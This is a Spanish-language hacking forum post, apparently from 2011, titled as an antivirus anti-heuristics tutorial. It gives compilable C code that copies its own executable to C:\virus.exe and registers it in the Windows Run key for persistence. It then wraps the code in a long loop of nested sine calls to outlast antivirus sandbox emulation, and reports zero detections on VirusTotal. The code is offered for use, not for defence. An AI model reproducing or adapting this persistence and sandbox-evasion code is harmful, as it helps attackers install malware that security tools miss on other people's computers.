• Earn real money by being active: Hello Guest, earn real money by simply being active on the forum — post quality content, get reactions, and help the community. Once you reach the minimum credit amount, you’ll be able to withdraw your balance directly. Learn how it works.

[Anti-heurística] Cómo Cansar a los AV + Ejemplo compilable

Status
Not open for further replies.

BreakPoint

Im back!
User
Joined
Oct 22, 2011
Messages
118
Reputation
0
Reaction score
75
Points
28
Credits
0
‎13 Years of Service‎
40%
Cómo Cansar a los AV + Ejemplo compilable




Bueno gente, hoy les traigo un ejemplo practico en forma de pseudo codigo:

les voy a mostrar como hacer para evitar que la heuristica de TODOS los AV caigan de una manera sencilla

El codigo que voy a usar de ejemplo es algo que programe recien que es detectado por 8 antivirus segun VirusTotal

primero les presento el codigo detectado, el cual es una funcion para agregar una clave al registro.

Code:
>#include 
#include 
#include 


unsigned __stdcall agregarAlArranque(char* clave,char * valor)
{

char path[1024];
double cuenta;
HKEY handlekey;
DWORD salida = 0;
LPDWORD psalida = &salida;
LONG valorRetorno =0;

int i=0;


GetModuleFileName(NULL,path,sizeof(path));
CopyFile(path,"C:\\virus.exe",FALSE);


valorRetorno = RegCreateKeyEx( HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",0,0,
REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &handlekey,psalida);

if( valorRetorno == ERROR_SUCCESS)
{
valorRetorno = RegSetValueEx(handlekey,clave, 0, REG_SZ, (LPBYTE) valor ,strlen(valor) );
}

return valorRetorno;
}


int main(int argc, char *argv[])
{
int threadID;
agregarAlArranque("clavecita","C:\\virus.exe");
return 0;
}
cualquier antivirus berretin se da cuenta de que

Code:
>GetModuleFileName(NULL,path,sizeof(path));
CopyFile(path,"C:\\virus.exe",FALSE);
valorRetorno = RegCreateKeyEx( HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",0,0,
es un virus (mas allá del nombre)

entonces que vamos a hacer, vamos a lo que yo llamo "cansar" a los AV.

les vamos a agregar ciclos redundantes a nuestro programa.

Dado que los antivirus, ejecutan el programa en su "sandbox" para ver si tiene virus y esa ejecucion es limitada, que pasa si

pasamos ese limite?, y bueno es facil deducir que no va a poder llegar a fondo.

entonces lo que voy a hacer es separar las funciones, a una meterla adentro de un ciclo y las demas dejarla separadas.

El ciclo es grande y ademas contiene un calculo de seno avanzado,

aqui esta el codigo nuevo:

Code:
>#include 
#include 
#include 


unsigned __stdcall agregarAlArranque(char* clave,char * valor)
{

char path[1024];
double cuenta;
HKEY handlekey;
DWORD salida = 0;
LPDWORD psalida = &salida;
LONG valorRetorno =0;

int i=0;
while ( i <= 5000000)
{
cuenta = sin(sin(sin(sin(sin(sin(sin(sin(sin(sin(sin(sin(sin(37)))))))))))));
cuenta = sin(sin(sin(sin(sin(sin(sin(sin(sin(sin(sin(sin(sin(37)))))))))))));
cuenta = sin(sin(sin(sin(sin(sin(sin(sin(sin(sin(sin(sin(sin(37)))))))))))));
cuenta = sin(sin(sin(sin(sin(sin(sin(sin(sin(sin(sin(sin(sin(37)))))))))))));
cuenta = sin(sin(sin(sin(sin(sin(sin(sin(sin(sin(sin(sin(sin(37)))))))))))));
cuenta = sin(sin(sin(sin(sin(sin(sin(sin(sin(sin(sin(sin(sin(37)))))))))))));
cuenta = sin(sin(sin(sin(sin(sin(sin(sin(sin(sin(sin(sin(sin(37)))))))))))));
cuenta = sin(sin(sin(sin(sin(sin(sin(sin(sin(sin(sin(sin(sin(37)))))))))))));
i++;
GetModuleFileName(NULL,path,sizeof(path));

}
CopyFile(path,"C:\\virus.exe",FALSE);


valorRetorno = RegCreateKeyEx( HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",0,0,
REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &handlekey,psalida);

if( valorRetorno == ERROR_SUCCESS)
{
valorRetorno = RegSetValueEx(handlekey,clave, 0, REG_SZ, (LPBYTE) valor ,strlen(valor) );
}

return valorRetorno;
}


int main(int argc, char *argv[])
{
int threadID;
agregarAlArranque("clavecita","C:\\virus.exe");
return 0;
}
fijese que agregue esto de mas

Code:
>int i=0;
[b]while ( i <= 5000000)
{
cuenta = sin(sin(sin(sin(sin(sin(sin(sin(sin(sin(sin(sin(sin(37)))))))))))));
cuenta = sin(sin(sin(sin(sin(sin(sin(sin(sin(sin(sin(sin(sin(37)))))))))))));
cuenta = sin(sin(sin(sin(sin(sin(sin(sin(sin(sin(sin(sin(sin(37)))))))))))));
cuenta = sin(sin(sin(sin(sin(sin(sin(sin(sin(sin(sin(sin(sin(37)))))))))))));
cuenta = sin(sin(sin(sin(sin(sin(sin(sin(sin(sin(sin(sin(sin(37)))))))))))));
cuenta = sin(sin(sin(sin(sin(sin(sin(sin(sin(sin(sin(sin(sin(37)))))))))))));
cuenta = sin(sin(sin(sin(sin(sin(sin(sin(sin(sin(sin(sin(sin(37)))))))))))));
cuenta = sin(sin(sin(sin(sin(sin(sin(sin(sin(sin(sin(sin(sin(37)))))))))))));
i++;[/b]
GetModuleFileName(NULL,path,sizeof(path));

[b]}[/b]
que pasa entonces? el motor del antivirus se cansa y su heuristica no sirve para nada y que obtenemos

obtenemos un lindo 0

File name: registro.exeSubmission date: 2011-02-24 04:36:14 (UTC)

Current status: finished

Result: 0/ 43 (0.0%)
NOTA: si bien engañamos a los AV nuestra CPU va a tardar en ejecutar todo eso,pasa que yo lo exagere, se puede bajar el numero de ciclos e ir probando, con algo mas razonable, pero bueno si es agregar algo al registro, no creo que joda que tarde 5 segundos mas :P

un abrazo muchachos a los nuevos, a los viejos y a los de siempre

LeoS *;D

This link is hidden for visitors. Please Log in or register now.


 
Re: [Anti-heurística] Cómo Cansar a los AV + Ejemplo compilable

i love you

 
Re: [Anti-heurística] Cómo Cansar a los AV + Ejemplo compilable

Qué hay de un HIDS? detectaría el cambio en el registro?

 
Status
Not open for further replies.
Back
Top